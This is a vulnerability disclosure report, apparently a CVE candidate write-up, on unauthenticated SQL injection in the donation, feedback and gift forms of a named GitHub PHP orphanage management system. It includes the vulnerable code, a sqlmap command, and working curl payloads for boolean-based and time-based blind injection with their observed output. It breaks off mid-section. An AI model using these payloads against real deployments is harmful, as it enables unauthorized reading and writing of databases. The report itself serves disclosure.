| Beschreibung | # Dipali-Patil-11 / Orphanage_Management_System_Php — Unauthenticated SQL Injection CVE Candidate Report
- Audit date: 2026-11-06
- Target repository: <https://github.com/Dipali-Patil-11/Orphanage_Management_System_Php> (created 2024-12-28, master, no tags, treated as V1.0, not a fork)
- Stack: PHP + MySQL (`mysqli`), bundled `database/orphan.sql` (database `orphan`)
- Test environment: local lab PHP 5.5.38 + MariaDB 10.5.29, **all PoCs reproduced live**
- Verdict: **Unauthenticated (no cookie/session) SQL injection — boolean-based blind + time-based blind + arbitrary data write**. CVE dedup check clean.
---
## 1. CVE Deduplication (verified 2026-11-06)
| Check | Query | Result |
| ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
| NVD keyword `Orphanage Database` | `keywordSearch=%22Orphanage%20Database%22` | **0** |
| NVD keyword `Orphanage Management System` | `keywordSearch=Orphanage%20Management%20System` | **0** |
| NVD keyword `orphanage` (broad fallback) | `keywordSearch=orphanage` | 1 hit (CVE-2026-98448, Linux kernel XFS — unrelated) |
| CIRCL vendor browse | `cve.circl.lu/api/browse/Dipali-Patil-11` | `[]` (empty) |
| GitHub metadata | API confirms not a fork, no parent | Independent codebase |
| Same-name cross-check | prannayreddy/Orphanage-Management-System (Java/PHP hybrid, no donation-form.php); faysalridoy version (different codebase, submitted separately the previous day) | **Neither is same-source — not duplicates** |
| VulDB / web | Web search for orphanage project CVE records | No record of this codebase |
| Prior reports in this workspace | faysalridoy SQLi report, EmployeeRecruitmentSystem, etc. | Different products, different codebases, no overlap |
**Conclusion: clean, safe to submit.**
---
## 2. Submission Fields
| Field | Value |
| ------------- | ----------------------------------------------------------------------------------------------------- |
| Vendor | `Dipali-Patil-11` |
| Product | `Orphanage_Management_System_Php` (product name may be given as Orphanage Database Management System) |
| Version | 1.0 (master snapshot 2024-12-28, no tags) |
| Software Link | <https://github.com/Dipali-Patil-11/Orphanage_Management_System_Php> |
| Environment | PHP / MySQL (XAMPP-style deployment) |
| CWE | CWE-89 (SQL Injection) |
| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N` = **7.5** |
---
## 3. Vulnerability Details
### Primary: unauthenticated INSERT injection in `donation-form.php` (`program` parameter)
- **File**: `donation-form.php:19-31`
- **Parameter**: POST `program` (the other 8 parameters share the same statement/root cause)
- **Login required**: No (public donation form; only `include './components/header.php'`, no session check at all)
```php
// donation-form.php:19-31
if(isset($_POST['submit_donation'])) {
$program = $_POST['program'];
$amount = $_POST['amount'];
...
$sql = "INSERT INTO donation (program, amount, checkno, bank_name, place, d_name, email, phone, d_address)
VALUES ('$program', '$amount', '$checkno', '$bank_name', '$place', '$name', '$email', '$phone', '$address')";
if ($conn->query($sql) === TRUE) {
echo "<script> alert('Donation form successfully submitted'); </script>";
} else {
echo "<script> alert('Error in submission'); </script>"; // <- boolean oracle
}
```
Root cause: all 9 `$_POST` values are interpolated directly into the INSERT statement — no prepared statements, no escaping. Note that `login.php` applies `mysqli_real_escape_string` to login parameters (checked — not an injection point), but every business form is left fully unprotected.
### Other injection points with the same root cause (affected surface of the same report)
| File | Statement | Login required |
| --------------------------- | --------------------------------------------------- | --------------------------- |
| `donation-form.php:29` | INSERT INTO donation (all 9 columns concatenated) | No |
| `feedback-form.php:25` | INSERT INTO feedback (all 5 columns concatenated) | No |
| `send-gift.php:27` | INSERT INTO gift (all 7 columns concatenated) | No |
| `admin/children-add.php:26` | INSERT INTO children (all 6 columns concatenated) | Yes (admin_header has exit) |
| `admin/newsletter.php:24` | INSERT INTO newsletter (all 3 columns concatenated) | Yes |
| `admin/programs.php:22` | INSERT INTO programs (all 2 columns concatenated) | Yes |
---
## 4. PoC (all reproduced live)
Environment: `php -S 127.0.0.1:8890 -t Orphanage_Management_System_Php-master`, MariaDB loaded with `database/orphan.sql`. Boolean oracle: response containing `alert('Donation form successfully submitted')` = TRUE, `alert('Error in submission')` = FALSE.
> Note: `amount`/`phone` are int columns, so when closing the VALUES list you must supply numeric literals (otherwise strict mode makes it always false — a key point established by live testing).
### 0) sqlmap live run (2026-11-06)
```bash
sqlmap -u "http://127.0.0.1:8890/donation-form.php" \
--data="program=General&amount=100&check=1001&bank_name=Bank&place=City&name=John&[email protected]&phone=1234567890&address=Street&submit_donation=Donate" \
-p program --dbms=mysql --level=3 --risk=2 --batch --dbs
```
Observed: sqlmap confirmed the POST parameter `program` is injectable via **time-based blind** (`MySQL >= 5.0.12 AND time-based blind (query SLEEP)`, payload `program=General' AND (SELECT 8397 FROM (SELECT(SLEEP(2)))BVnK) AND 'digM'='digM`) and enumerated all 13 databases (including the target `orphan`). Screenshot:

### 1) Boolean-based blind
```bash
# TRUE: program closes all 9 values and comments out the tail
curl -s -X POST "http://<host>/donation-form.php" \
--data-urlencode "program=x',5,'z','w','v','u','t',7,'r')#" \
--data "amount=1&check=1&bank_name=1&place=1&name=1&email=1&phone=1&address=1&submit_donation=1" \
| grep -o "alert('[^']*')"
# Observed: alert('Donation form successfully submitted')
# FALSE control (only 8 values closed -> column count mismatch error)
curl -s -X POST ... --data-urlencode "program=x',5,'z','w','v','u','t',7)#" ...
# Observed: alert('Error in submission')
```
### 2) Time-based blind
```bash
curl -s -o /dev/null -w "time_total=%{time_total}\n" -X POST "http://<host>/donation-form.php" \
--data-urlencode "program=x',5,'z','w','v','u','t',7,'r'-(SLEEP(4)))#" \
--data "amount=1&check=1&bank_name=1&place=1&name=1&email=1&phone=1&address=1&submit_donation=1"
# Observed: time_total=4.019658
# Control (normal form)
# Obse |
|---|